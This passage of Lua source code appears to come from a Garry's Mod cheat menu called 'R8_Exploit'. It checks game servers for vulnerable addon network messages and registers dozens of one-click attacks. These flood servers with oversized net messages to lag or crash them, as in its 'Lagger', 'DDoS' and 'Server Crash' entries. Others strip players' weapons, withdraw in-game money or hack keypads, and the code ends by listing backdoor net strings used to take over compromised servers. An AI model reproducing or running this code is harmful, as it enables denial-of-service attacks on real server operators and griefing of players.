6028 net.SendToServer()
6029 end)
6030 end
6031
6032 status = ValidNetString("DeployMask") -- 37.230.228.248:27016
6033
6034 if (status) then
6035 ECPrint("Found Exploit: To wear a gas mask at all players [DeployMask]")
6036
6037 addExploit("255", "To wear a gas mask", "Exploit puts gas masks on all players, discovered by Leith", function()
6038 surface.PlaySound("garrysmod/ui_click.wav")
6039 ECNotify("Starting")
6040
6041 for k, v in pairs(ents.GetAll()) do
6042 net.Start("DeployMask")
6043 net.WriteEntity(v)
6044 net.SendToServer()
6045 end
6046 end)
6047 end
6048
6049 status = ValidNetString("RemoveMask") -- 37.230.228.248:27016
6050
6051 if (status) then
6052 ECPrint("Found Exploit: Remove the gas mask from all players [RemoveMask]")
6053
6054 addExploit("256", "Remove the gas mask", "The exploit takes off gas masks from all players, discovered by Leith", function()
6055 surface.PlaySound("garrysmod/ui_click.wav")
6056 ECNotify("Starting")
6057
6058 for k, v in pairs(ents.GetAll()) do
6059 net.Start("RemoveMask")
6060 net.WriteEntity(v)
6061 net.SendToServer()
6062 end
6063 end)
6064 end
6065
6066 status = ValidNetString("SwapFilter") -- 37.230.228.248:27016
6067
6068 if (status) then
6069 ECPrint("Found Exploit: Change all filters of a gas mask [SwapFilter]")
6070
6071 addExploit("257", "Change all filters", "Exploit changes the filter for all gas masks, discovered by Leith", function()
6072 surface.PlaySound("garrysmod/ui_click.wav")
6073 ECNotify("Starting")
6074
6075 for k, v in pairs(ents.GetAll()) do
6076 net.Start("SwapFilter")
6077 net.WriteEntity(v)
6078 net.SendToServer()
6079 end
6080 end)
6081 end
6082
6083 status = ValidNetString("WipeMask") -- 37.230.228.248:27016
6084
6085 if (status) then
6086 ECPrint("Found Exploit: Wipe gas masks [WipeMask]")
6087
6088 addExploit("258", "Wipe gas masks", "Exploit wipes all gas masks, discovered by Leith", function()
6089 surface.PlaySound("garrysmod/ui_click.wav")
6090 ECNotify("Starting")
6091
6092 for k, v in pairs(ents.GetAll()) do
6093 net.Start("WipeMask")
6094 net.WriteEntity(v)
6095 net.SendToServer()
6096 end
6097 end)
6098 end
6099
6100 status = ValidNetString("UseMedkit") -- 37.230.228.248:27016
6101
6102 if (status) then
6103 ECPrint("Found Exploit: Use Medkit [UseMedkit]")
6104
6105 addExploit("259", "Use Medkit", "Exploit uses a first aid kit on all players, discovered by Leith", function()
6106 surface.PlaySound("garrysmod/ui_click.wav")
6107 ECNotify("Starting")
6108
6109 for k, v in pairs(ents.GetAll()) do
6110 net.Start("UseMedkit")
6111 net.WriteEntity(v)
6112 net.SendToServer()
6113 end
6114 end)
6115 end
6116
6117 status = ValidNetString("IDInv_RequestBank")
6118
6119 if (status) then
6120 ECPrint("Found Exploit: Lagger #23 [IDInv_RequestBank]")
6121
6122 addExploit("260", "Lagger #23", "an exploit in the addon 'IDinventory', discovered by Leith", function()
6123 surface.PlaySound("garrysmod/ui_click.wav")
6124 ECNotify("Starting")
6125
6126 if not timer.Exists("lagger23") then
6127 timer.Create("lagger23", 0, 0, function()
6128 for i = 1, 1000 do
6129 net.Start("IDInv_RequestBank", true)
6130 net.SendToServer()
6131 end
6132 end)
6133 end
6134 end)
6135 end
6136
6137 status = ValidNetString("casinokit_chipexchange")
6138
6139 if (status) then
6140 ECPrint("Found Exploit: Lagger #24 [casinokit_chipexchange]")
6141
6142 addExploit("261", "Lagger #24", "an exploit in the addon 'CasinoKit', discovered by Leith", function()
6143 surface.PlaySound("garrysmod/ui_click.wav")
6144 ECNotify("Starting")
6145
6146 if not timer.Exists("lagger24") then
6147 timer.Create("lagger24", 0, 0, function()
6148 for i = 1, 1000 do
6149 net.Start("casinokit_chipexchange", true)
6150 net.WriteEntity(LocalPlayer())
6151 net.WriteString("darkrp")
6152 net.WriteBool(false)
6153 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6154 net.SendToServer()
6155 end
6156 end)
6157 end
6158 end)
6159 end
6160
6161 status = ValidNetString("RemoveTag")
6162
6163 if (status) then
6164 ECPrint("Found Exploit: 1tap server [RemoveTag]")
6165
6166 addExploit("262", "1tap server", "discovered by Leith", function()
6167 surface.PlaySound("garrysmod/ui_click.wav")
6168 ECNotify("Starting")
6169
6170 timer.Create("1tap", 0.5, 0, function()
6171 for i = 1, 4000 do
6172 net.Start("RemoveTag")
6173 net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
6174 net.SendToServer()
6175 end
6176 end)
6177 end)
6178 end
6179
6180 status = ValidNetString("desktopPrinter_Withdraw")
6181
6182 if (status) then
6183 ECPrint("Found Exploit: Lagger #25 [desktopPrinter_Withdraw]")
6184
6185 addExploit("263", "Lagger #25", "an exploit in the addon 'Desktop Printers', discovered by Leith", function()
6186 surface.PlaySound("garrysmod/ui_click.wav")
6187 ECNotify("Starting")
6188
6189 if not timer.Exists("lagger25") then
6190 timer.Create("lagger25", 0, 0, function()
6191 for i = 1, 1000 do
6192 net.Start("desktopPrinter_Withdraw", true)
6193 net.WriteEntity(LocalPlayer())
6194 net.SendToServer()
6195 end
6196 end)
6197 end
6198 end)
6199 end
6200
6201 status = ValidNetString("sphys_dupe")
6202
6203 if (status) then
6204 ECPrint("Found Exploit: Lagger #26 [sphys_dupe]")
6205
6206 addExploit("264", "Lagger #26", "an exploit in the addon 'Simfphys', discovered by Solly", function()
6207 surface.PlaySound("garrysmod/ui_click.wav")
6208 ECNotify("Starting")
6209
6210 timer.Create("lagger26", 0.2, 0, function()
6211 for i = 1, 2200 do
6212 net.Start("sphys_dupe", true)
6213 net.SendToServer()
6214 end
6215 end)
6216 end)
6217 end
6218
6219 status = ValidNetString("simfphys_gasspill")
6220
6221 if (status) then
6222 ECPrint("Found Exploit: Poop on players [simfphys_gasspill]")
6223
6224 addExploit("265", "Poop on players", "an exploit in the addon 'Simfphys', discovered by Solly", function()
6225 surface.PlaySound("garrysmod/ui_click.wav")
6226 ECNotify("Starting")
6227
6228 timer.Create("poop", 0.1, 0, function()
6229 for k, v in pairs(player.GetAll()) do
6230 for j = 1, 3 do
6231 if IsValid(v) then
6232 net.Start("simfphys_gasspill")
6233 net.WriteVector(v:GetPos() + Vector(0, 0, 90))
6234 net.WriteVector(v:EyePos())
6235 net.SendToServer()
6236 end
6237 end
6238 end
6239 end)
6240 end)
6241 end
6242
6243 status = ValidNetString("dronesrewrite_controldr")
6244
6245 if (status) then
6246 ECPrint("Found Exploit: Lagger #27 [dronesrewrite_controldr]")
6247
6248 addExploit("266", "Lagger #27", "discovered by Solly", function()
6249 surface.PlaySound("garrysmod/ui_click.wav")
6250 ECNotify("Starting")
6251
6252 timer.Create("lagger27", 0.2, 0, function()
6253 for i = 1, 2200 do
6254 net.Start("dronesrewrite_controldr", true)
6255 net.SendToServer()
6256 end
6257 end)
6258 end)
6259 end
6260
6261 status = ValidNetString("SCP-294Sv")
6262
6263 if (status) then
6264 ECPrint("Found Exploit: SCP-294 Exploit [SCP-294Sv]")
6265
6266 addExploit("267", "SCP-294 Exploit", "discovered by questionmark", function()
6267 surface.PlaySound("garrysmod/ui_click.wav")
6268 ECNotify("Starting")
6269
6270 for k, v in pairs(ents.GetAll()) do
6271 net.Start("SCP-294Sv")
6272 net.WriteString("acid")
6273 net.WriteEntity(v)
6274 net.SendToServer()
6275 end
6276 end)
6277 end
6278
6279 status = ValidNetString("VC_PlayerReady")
6280
6281 if (status) then
6282 ECPrint("Found Exploit: Lagger #28 [VC_PlayerReady]")
6283
6284 addExploit("268", "Lagger #28", "an exploit in the addon 'VCMod', discovered by Leith", function()
6285 surface.PlaySound("garrysmod/ui_click.wav")
6286 ECNotify("Starting")
6287
6288 timer.Create("lagger28", 0, 0, function()
6289 for i = 1, 1000 do
6290 net.Start("VC_PlayerReady", true)
6291 net.SendToServer()
6292 end
6293 end)
6294 end)
6295 end
6296
6297 status = ValidNetString("phone")
6298
6299 if (status) then
6300 ECPrint("Found Exploit: Call all players [phone]")
6301
6302 addExploit("269", "Call all players", "discovered by questionmark", function()
6303 surface.PlaySound("garrysmod/ui_click.wav")
6304 ECNotify("Starting")
6305
6306 for k, v in pairs(player.GetAll()) do
6307 net.Start("phone")
6308
6309 net.WriteTable{
6310 ply = v,
6311 act = 'call'
6312 }
6313
6314 net.SendToServer()
6315 end
6316 end)
6317 end
6318
6319 status = ValidNetString("blueatm")
6320
6321 if (status) then
6322 ECPrint("Found Exploit: Lagger #29 [blueatm]")
6323
6324 addExploit("270", "Lagger #29", "an exploit in the addon 'Blue ATM', discovered by Leith", function()
6325 surface.PlaySound("garrysmod/ui_click.wav")
6326 ECNotify("Starting")
6327
6328 timer.Create("lagger29", 0, 0, function()
6329 for i = 1, 1000 do
6330 net.Start("blueatm", true)
6331 net.WriteEntity(LocalPlayer())
6332 net.SendToServer()
6333 end
6334 end)
6335 end)
6336 end
6337
6338 status = ValidNetString("cab_cd_testdrive")
6339
6340 if (status) then
6341 ECPrint("Found Exploit: Stavox Teleport [cab_cd_testdrive]")
6342
6343 addExploit("271", "Stavox Teleport", "discovered by Aromatic", function()
6344 surface.PlaySound("garrysmod/ui_click.wav")
6345 ECNotify("Starting")
6346 net.Start('cab_cd_testdrive')
6347 net.WriteUInt(0, 3)
6348 net.WriteUInt(5, 8)
6349 net.SendToServer()
6350 end)
6351 end
6352
6353 status = ValidNetString("cab_sendmessage")
6354
6355 if (status) then
6356 ECPrint("Found Exploit: Stavox Message [cab_sendmessage]")
6357
6358 addExploit("272", "Stavox Message", "discovered by Aromatic", function()
6359 surface.PlaySound("garrysmod/ui_click.wav")
6360 ECNotify("Starting")
6361
6362 for k, v in pairs(player.GetAll()) do
6363 net.Start("cab_sendmessage")
6364 net.WriteEntity(v)
6365 net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
6366 net.SendToServer()
6367 end
6368 end)
6369 end
6370
6371 status = ValidNetString("disguise")
6372
6373 if (status) then
6374 ECPrint("Found Exploit: Lagger #30 [disguise]")
6375
6376 addExploit("273", "Lagger #30", "discovered by Aromatic & Leith", function()
6377 surface.PlaySound("garrysmod/ui_click.wav")
6378
6379 timer.Create("lagger30", 0, 0, function()
6380 for i = 1, 1000 do
6381 net.Start("disguise", true)
6382 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
6383 net.SendToServer()
6384 end
6385 end)
6386 end)
6387 end
6388
6389 status = ValidNetString("FARMINGMOD_DROPITEM")
6390
6391 if (status) then
6392 ECPrint("Found Exploit: Lagger #31 [FARMINGMOD_DROPITEM]")
6393
6394 addExploit("274", "Lagger #31", "discovered by Leith", function()
6395 surface.PlaySound("garrysmod/ui_click.wav")
6396
6397 timer.Create("lagger31", 0, 0, function()
6398 for i = 1, 1000 do
6399 net.Start("FARMINGMOD_DROPITEM", true)
6400 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
6401 net.SendToServer()
6402 end
6403 end)
6404 end)
6405 end
6406
6407 status = ValidNetString("SlotsRemoved")
6408
6409 if (status) then
6410 ECPrint("Found Exploit: Lagger #32 [SlotsRemoved]")
6411
6412 addExploit("275", "Lagger #32", "an exploit in the addon 'PointShop 2 Perma Weapons', discovered by Leith", function()
6413 surface.PlaySound("garrysmod/ui_click.wav")
6414
6415 timer.Create("lagger32", 0, 0, function()
6416 for i = 1, 1000 do
6417 net.Start("SlotsRemoved", true)
6418 net.SendToServer()
6419 end
6420 end)
6421 end)
6422 end
6423
6424 status = ValidNetString("AirDrops_StartPlacement")
6425
6426 if (status) then
6427 ECPrint("Found Exploit: Lagger #33 [AirDrops_StartPlacement]")
6428
6429 addExploit("276", "Lagger #33", "an exploit in the addon 'PointShop 2 AirDrops', discovered by Dembi", function()
6430 surface.PlaySound("garrysmod/ui_click.wav")
6431
6432 timer.Create("lagger33", 0, 0, function()
6433 for i = 1, 1000 do
6434 net.Start("AirDrops_StartPlacement", true)
6435 net.SendToServer()
6436 end
6437 end)
6438 end)
6439 end
6440
6441 status = ValidNetString("pp_info_send")
6442
6443 if (status) then
6444 ECPrint("Found Exploit: Lagger #34 [pp_info_send]")
6445
6446 addExploit("277", "Lagger #34", "an exploit in the addon 'Perma Props',discovered by Leith", function()
6447 surface.PlaySound("garrysmod/ui_click.wav")
6448
6449 timer.Create("lagger33", 0, 0, function()
6450 for i = 1, 1000 do
6451 net.Start("pp_info_send", true)
6452 net.SendToServer()
6453 end
6454 end)
6455 end)
6456 end
6457
6458 status = ValidNetString("IGS.GetPaymentURL")
6459
6460 if (status) then
6461 ECPrint("Found Exploit: Lagger #35 [IGS.GetPaymentURL]")
6462
6463 addExploit("278", "Lagger #35", "an exploit in the 'IGS', discovered by Leith", function()
6464 surface.PlaySound("garrysmod/ui_click.wav")
6465
6466 timer.Create("lagger35", 0, 0, function()
6467 for i = 1, 1000 do
6468 net.Start("IGS.GetPaymentURL", true)
6469 net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
6470 net.SendToServer()
6471 end
6472 end)
6473 end)
6474 end
6475
6476 status = ValidNetString("fg_printer_money")
6477
6478 if (status) then
6479 ECPrint("Found Exploit: Lagger #36 [fg_printer_money]")
6480
6481 addExploit("279", "Lagger #36", "an exploit in the 'FG Printers', discovered by Aromatic", function()
6482 surface.PlaySound("garrysmod/ui_click.wav")
6483
6484 timer.Create("lagger36", 0, 0, function()
6485 for i = 1, 1000 do
6486 net.Start('fg_printer_money', true)
6487 net.WriteEntity(LocalPlayer())
6488 net.SendToServer()
6489 end
6490 end)
6491 end)
6492 end
6493
6494 status = ValidNetString("tickbookpayfine")
6495
6496 if (status) then
6497 ECPrint("Found Exploit: Lagger #37 [tickbookpayfine]")
6498
6499 addExploit("280", "Lagger #37", "an exploit in the 'Ticket Book', discovered by Aromatic", function()
6500 surface.PlaySound("garrysmod/ui_click.wav")
6501
6502 timer.Create("lagger37", 0, 0, function()
6503 for i = 1, 1000 do
6504 net.Start("tickbookpayfine", true)
6505 net.SendToServer()
6506 end
6507 end)
6508 end)
6509 end
6510
6511 status = ValidNetString("BeginSpin")
6512
6513 if (status) then
6514 ECPrint("Found Exploit: Lagger #38 [BeginSpin]")
6515
6516 addExploit("281", "Lagger #38", "an exploit in the 'Blue Unbox 2', discovered by Leith", function()
6517 surface.PlaySound("garrysmod/ui_click.wav")
6518
6519 timer.Create("lagger38", 0, 0, function()
6520 for i = 1, 1000 do
6521 net.Start("BeginSpin", true)
6522 net.SendToServer()
6523 end
6524 end)
6525 end)
6526 end
6527
6528 status = ValidNetString("DuelRequestClient")
6529
6530 if (status) then
6531 ECPrint("Found Exploit: Lagger #39 [DuelRequestClient]")
6532
6533 addExploit("282", "Lagger #39", "discovered by Leith", function()
6534 surface.PlaySound("garrysmod/ui_click.wav")
6535
6536 timer.Create("lagger39", 0, 0, function()
6537 for i = 1, 1000 do
6538 net.Start("DuelRequestClient", true)
6539 net.SendToServer()
6540 end
6541 end)
6542 end)
6543 end
6544
6545 status = ValidNetString("ncpstoredoact")
6546
6547 if (status) then
6548 ECPrint("Found Exploit: Lagger #40 [ncpstoredoact]")
6549
6550 addExploit("283", "Lagger #40", "an exploit in the addon 'NPC Store',discovered by Leith", function()
6551 surface.PlaySound("garrysmod/ui_click.wav")
6552
6553 timer.Create("lagger40", 0, 0, function()
6554 for i = 1, 1000 do
6555 net.Start("ncpstoredoact", true)
6556 net.SendToServer()
6557 end
6558 end)
6559 end)
6560 end
6561
6562 status = ValidNetString("PermwepsNPCSellWeapon")
6563
6564 if (status) then
6565 ECPrint("Found Exploit: Lagger #41 [PermwepsNPCSellWeapon]")
6566
6567 addExploit("284", "Lagger #41", "discovered by Leith", function()
6568 surface.PlaySound("garrysmod/ui_click.wav")
6569
6570 timer.Create("lagger41", 0, 0, function()
6571 for i = 1, 2000 do
6572 net.Start("PermwepsNPCSellWeapon", true)
6573 net.WriteString("")
6574 net.SendToServer()
6575 end
6576 end)
6577 end)
6578 end
6579
6580 status = ValidNetString("bitcoins_request_withdraw")
6581
6582 if (status) then
6583 ECPrint("Found Exploit: Lagger #42 [bitcoins_request_withdraw]")
6584
6585 addExploit("285", "Lagger #42", "discovered by Leith", function()
6586 surface.PlaySound("garrysmod/ui_click.wav")
6587
6588 timer.Create("lagger42", 0, 0, function()
6589 for i = 1, 2000 do
6590 net.Start("bitcoins_request_withdraw", true)
6591 net.SendToServer()
6592 end
6593 end)
6594 end)
6595 end
6596
6597 status = ValidNetString("bitcoins_request_turn_on")
6598
6599 if (status) then
6600 ECPrint("Found Exploit: To include all bitcoin miners [bitcoins_request_turn_on]")
6601
6602 addExploit("286", "To include all bitcoin miners", "discovered by Leith", function()
6603 surface.PlaySound("garrysmod/ui_click.wav")
6604 ECNotify("Starting")
6605
6606 for k, v in pairs(ents.GetAll()) do
6607 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6608 net.Start("bitcoins_request_turn_on")
6609 net.WriteEntity(v)
6610 net.SendToServer()
6611 end
6612 end
6613 end)
6614 end
6615
6616 status = ValidNetString("bitcoins_request_turn_off")
6617
6618 if (status) then
6619 ECPrint("Found Exploit: Disable all bitcoin miners [bitcoins_request_turn_off]")
6620
6621 addExploit("287", "Disable all bitcoin miners", "discovered by Leith", function()
6622 surface.PlaySound("garrysmod/ui_click.wav")
6623 ECNotify("Starting")
6624
6625 for k, v in pairs(ents.GetAll()) do
6626 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6627 net.Start("bitcoins_request_turn_off")
6628 net.WriteEntity(v)
6629 net.SendToServer()
6630 end
6631 end
6632 end)
6633 end
6634
6635 status = ValidNetString("NET_AM_MakePotion")
6636
6637 if (status) then
6638 ECPrint("Found Exploit: Lagger #43 [NET_AM_MakePotion]")
6639
6640 addExploit("288", "Lagger #43", "discovered by Leith", function()
6641 surface.PlaySound("garrysmod/ui_click.wav")
6642 ECNotify("Starting")
6643
6644 timer.Create("lagger43", 0, 0, function()
6645 for i = 1, 2000 do
6646 net.Start('NET_AM_MakePotion', true)
6647 net.WriteEntity(LocalPlayer())
6648 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
6649 net.SendToServer()
6650 end
6651 end)
6652 end)
6653 end
6654
6655 status = ValidNetString("minigun_drones_switch")
6656
6657 if (status) then
6658 ECPrint("Found Exploit: Lagger #44 [minigun_drones_switch]")
6659
6660 addExploit("289", "Lagger #44", "discovered by Solly", function()
6661 surface.PlaySound("garrysmod/ui_click.wav")
6662 ECNotify("Starting")
6663
6664 timer.Create("lagger44", 0.2, 0, function()
6665 for i = 1, 2200 do
6666 net.Start("minigun_drones_switch", true)
6667 net.SendToServer()
6668 end
6669 end)
6670 end)
6671 end
6672
6673 status = ValidNetString("CW20_PRESET_LOAD")
6674
6675 if (status) then
6676 ECPrint("Found Exploit: Lagger #45 (u need cw2 weapon in hand) [CW20_PRESET_LOAD]")
6677
6678 addExploit("290", "Lagger #45", "(u need cw2 weapon in hand),discovered by Solly", function()
6679 surface.PlaySound("garrysmod/ui_click.wav")
6680 ECNotify("Starting")
6681
6682 timer.Create("lagger45", 0.2, 0, function()
6683 if (LocalPlayer():GetActiveWeapon():GetClass():find("cw")) then
6684 for i = 1, 2200 do
6685 net.Start("CW20_PRESET_LOAD", true)
6686 net.SendToServer()
6687 end
6688 end
6689 end)
6690 end)
6691 end
6692
6693 status = ValidNetString("SBP_addtime")
6694
6695 if (status) then
6696 ECPrint("Found Exploit: Lagger #46 [SBP_addtime]")
6697
6698 addExploit("291", "Lagger #46", "discovered by Solly", function()
6699 surface.PlaySound("garrysmod/ui_click.wav")
6700 ECNotify("Starting")
6701
6702 timer.Create("lagger46", 0.3, 0, function()
6703 for i = 1, 2200 do
6704 net.Start("SBP_addtime", true)
6705 net.SendToServer()
6706 end
6707 end)
6708 end)
6709 end
6710
6711 status = ValidNetString("NetData")
6712
6713 if (status) then
6714 ECPrint("Found Exploit: Outfit player nouser [NetData]")
6715
6716 addExploit("292", "Outfit player nouser", "Just noise players near u (discovered by Solly)", function()
6717 surface.PlaySound("garrysmod/ui_click.wav")
6718 ECNotify("Starting")
6719
6720 for k, v in pairs(player.GetAll()) do
6721 net.Start("NetData")
6722 net.WriteString("OF")
6723 net.WriteUInt(4, 8)
6724 net.WriteData(math.random(100000, 9999999) .. ",sis.mdl", 30)
6725 net.SendToServer()
6726 end
6727 end)
6728 end
6729
6730 status = ValidNetString("StackGhost")
6731
6732 if (status) then
6733 ECPrint("Found Exploit: DDoS #1")
6734
6735 addExploit("294", "DDoS #1", "Creates lags on server [StackGhost]", function()
6736 surface.PlaySound("garrysmod/ui_click.wav")
6737 ECNotify("Starting")
6738
6739 timer.Create("DDoS", 0.02, 0, function()
6740 for i = 1, 2000 do
6741 net.Start("StackGhost", true)
6742 net.WriteInt(69, 32)
6743 net.SendToServer()
6744 end
6745 end)
6746 end)
6747 end
6748
6749 status = ValidNetString("pac_submit")
6750
6751 if (status) then
6752 ECPrint("Found Exploit: DDoS #2")
6753
6754 addExploit("295", "DDoS #2", "Creates lags on server [pac_sumbit]", function()
6755 surface.PlaySound("garrysmod/ui_click.wav")
6756 ECNotify("Starting")
6757
6758 -----------------------------------
6759 timer.Create("DDoS2", 0.02, 0, function()
6760 for i = 1, 1000 do
6761 Disco.NetStart("pac_submit")
6762 net.SendToServer()
6763 end
6764 end)
6765 end)
6766 ----------------------------------
6767 end
6768
6769 status = ValidNetString("RequestMAPSize")
6770
6771 if (status) then
6772 ECPrint("Found Exploit: 1tap server [MapSize]")
6773
6774 addExploit("296", "1tap server [MapSize]", "-1 server", function()
6775 surface.PlaySound("garrysmod/ui_click.wav")
6776 ECNotify("Starting")
6777
6778 -----------------------------------
6779 timer.Create("lagger10", 0, 0, function()
6780 for i = 1, 400 do
6781 net.Start("RequestMAPSize")
6782 net.SendToServer()
6783 end
6784 end)
6785 end)
6786 ----------------------------------
6787 end
6788
6789 status = ValidNetString("properties")
6790
6791 if (status) then
6792 ECPrint("Found Exploit: Weapon Strip")
6793
6794 addExploit("297", "Weapon Strip", "-weapon", function()
6795 surface.PlaySound("garrysmod/ui_click.wav")
6796 ECNotify("Starting")
6797
6798 -----------------------------------
6799 for k, v in pairs(player.GetAll()) do
6800 if v:IsPlayer() then
6801 for k, v in pairs(v:GetWeapons()) do
6802 net.Start("properties")
6803 net.WriteString("remove", 32)
6804 net.WriteEntity(v)
6805 net.SendToServer()
6806 end
6807 end
6808 end
6809 end)
6810 ----------------------------------
6811 end
6812
6813 status = ValidNetString("start_wd_emp")
6814
6815 if (status) then
6816 ECPrint("Found Exploit: Hack Keypad")
6817
6818 addExploit("298", "HackKeypad", "Hack Keypad", function()
6819 surface.PlaySound("garrysmod/ui_click.wav")
6820 ECNotify("Starting")
6821 -----------------------------------
6822 net.Start('start_wd_emp')
6823 net.SendToServer()
6824 end)
6825 ----------------------------------
6826 end
6827
6828 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
6829
6830 if (status) then
6831 ECPrint("Found Exploit: Server Crash")
6832
6833 addExploit("299", "Server Crash", " ", function()
6834 surface.PlaySound("garrysmod/ui_click.wav")
6835 ECNotify("Starting")
6836
6837 -----------------------------------
6838 timer.Create("crasher2", 0, 0, function()
6839 for i = 1, 400 do
6840 net.Start("pac.net.TouchFlexes.ClientNotify")
6841 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
6842 net.SendToServer()
6843 end
6844 end)
6845 end)
6846 ----------------------------------
6847 end
6848
6849 status = ValidNetString("ItemStoreDrop")
6850
6851 if (status) then
6852 ECPrint("Found Exploit: DDoS item")
6853
6854 addExploit("300", "DDoS item", " ", function()
6855 surface.PlaySound("garrysmod/ui_click.wav")
6856 ECNotify("Starting")
6857
6858 -----------------------------------
6859 timer.Create("lagger7", 0, 0, function()
6860 for i = 1, 1000 do
6861 net.Start("ItemStoreDrop")
6862 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6863 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6864 net.SendToServer()
6865 end
6866 end)
6867 end)
6868 ----------------------------------
6869 end
6870
6871 status = ValidNetString("TFA_Attachment_RequestAll")
6872
6873 if (status) then
6874 ECPrint("Found Exploit: TFA LAGGER")
6875
6876 addExploit("301", "TFA LAGGER", " ", function()
6877 surface.PlaySound("garrysmod/ui_click.wav")
6878 ECNotify("Starting")
6879
6880 -----------------------------------
6881 timer.Create("lagger20", 0.02, 0, function()
6882 for i = 1, 4400 do
6883 net.Start("TFA_Attachment_RequestAll", true)
6884 net.SendToServer()
6885 end
6886 end)
6887 end)
6888 ----------------------------------
6889 end
6890
6891 status = ValidNetString("ts_buytitle")
6892
6893 if (status) then
6894 ECPrint("Found Exploit: Lagger #47 [ts_buytitle]")
6895
6896 addExploit("302", "Lagger #47", "an exploit in the addon 'TitleStore'", function()
6897 surface.PlaySound("garrysmod/ui_click.wav")
6898 ECNotify("Starting")
6899
6900 timer.Create("lagger47", 0, 0, function()
6901 for i = 1, 1000 do
6902 net.Start("ts_buytitle", true)
6903 net.WriteTable({})
6904 net.WriteTable({})
6905 net.WriteTable({})
6906 net.SendToServer()
6907 end
6908 end)
6909 end)
6910 end
6911
6912 status = ValidNetString("SBP_addtime")
6913
6914 if (status) then
6915 ECPrint("Found Exploit: XP Booster [SBP_addtime]")
6916
6917 addExploit("293", "XP Booster", "discovered by Solly", function()
6918 inputFrameExists = true
6919 inputFrame = vgui.Create("DFrame")
6920 inputFrame:SetTitle("Enter the number")
6921 inputFrame:SetSize(400, 75)
6922 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
6923 inputFrame:SetDraggable(false)
6924 inputFrame:ShowCloseButton(true)
6925 inputFrame:MakePopup()
6926
6927 inputFrame.Paint = function(self, w, h)
6928 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
6929 end
6930
6931 local TextEntry = vgui.Create("DTextEntry", inputFrame)
6932 TextEntry:SetSize(380, 30)
6933 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
6934 TextEntry:SetText("100")
6935
6936 TextEntry.OnEnter = function(self)
6937 surface.PlaySound("garrysmod/ui_click.wav")
6938
6939 timer.Create("ofn", 0.2, 0, function()
6940 for i = 1, tonumber(self:GetText()) do
6941 net.Start("SBP_addtime")
6942 net.SendToServer()
6943 end
6944
6945 inputFrame:SetVisible(false)
6946 end)
6947 end
6948 end)
6949 end
6950
6951 --/////////////////////////////////////////// [OTHER] /////////////////////////////////////////////
6952 status = ValidNetString("EnterpriseWithdraw")
6953
6954 if (status) then
6955 ECPrint("Found Exploit: ENTERPRISE FOUND! [EnterpriseWithdraw]")
6956
6957 addExploit("1337", "ENTERPRISE FOUND!", "discovered by Leith", function()
6958 surface.PlaySound("garrysmod/ui_click.wav")
6959 ECNotify("Starting")
6960 net.Start("EnterpriseWithdraw")
6961 net.WriteInt(100, 32)
6962 net.SendToServer()
6963 end)
6964 end
6965
6966 status = ValidNetString("SetPermaKnife")
6967
6968 if (status) then
6969 ECPrint("Found Exploit: PERMA KNIFE FOUND [SetPermaKnife]")
6970
6971 addExploit("1337", "PERMA KNIFE FOUND", "PERMA KNIFE FOUND", function()
6972 surface.PlaySound("garrysmod/ui_click.wav")
6973 end)
6974 --[[
6975 function cockSucker(ply,cmd,args,argStr)
6976 local ply = LocalPlayer()
6977
6978 net.Start( "SetPermaKnife" )
6979 net.WriteString( string.TrimRight(argStr,".lua") )
6980 net.SendToServer()
6981 end
6982
6983 concommand.Add("gibe_weapon",cockSucker)
6984 ]]
6985 end
6986 ----------------------------------------------------------------------------------
6987 -- for k, v in pairs(player.GetAll()) do
6988 -- for k, v in pairs(ents.GetAll()) do
6989 ----------------------------------------------------------------------------------
6990 -- if !timer.Exists("lagger") then
6991 -- timer.Create("lagger", 0, 0, function()
6992 -- for i = 1, 1000 do
6993 -----------------------------
6994 -- 9999999999999999999999999999999999999999999999999999999999
6995 -- 0xFFFFFFF
6996 --------------------------------------------------------------------------------------------------
6997 --------------------------------------------------------------------------------------------------
6998 --------------------------------------------------------------------------------------------------
6999
7000end
7001concommand.Add('R8_Exploit', function()
7002 R8_Menu()
7003end)
7004
7005
7006local BD = {}
7007netKey = "memeDoor"
7008BackdoorsFound = 0
7009
7010function ValidNetString(str)
7011 local status, error = pcall(net.Start, str)
7012
7013 return status
7014end
7015
7016BackDoor_net = {
7017 {
7018 NetWork = "Sandbox_ArmDupe"
7019 },
7020 {
7021 NetWork = "Sbox_darkrp"
7022 },
7023 {
7024 NetWork = "Sbox_itemstore"
7025 },
7026 {
7027 NetWork = "Ulib_Message"
7028 },
7029 {
7030 NetWork = "ULogs_Info"
7031 },
7032 {
7033 NetWork = "ITEM"
7034 },
7035 {
7036 NetWork = "R8"
7037 },
7038 {
7039 NetWork = "fix"
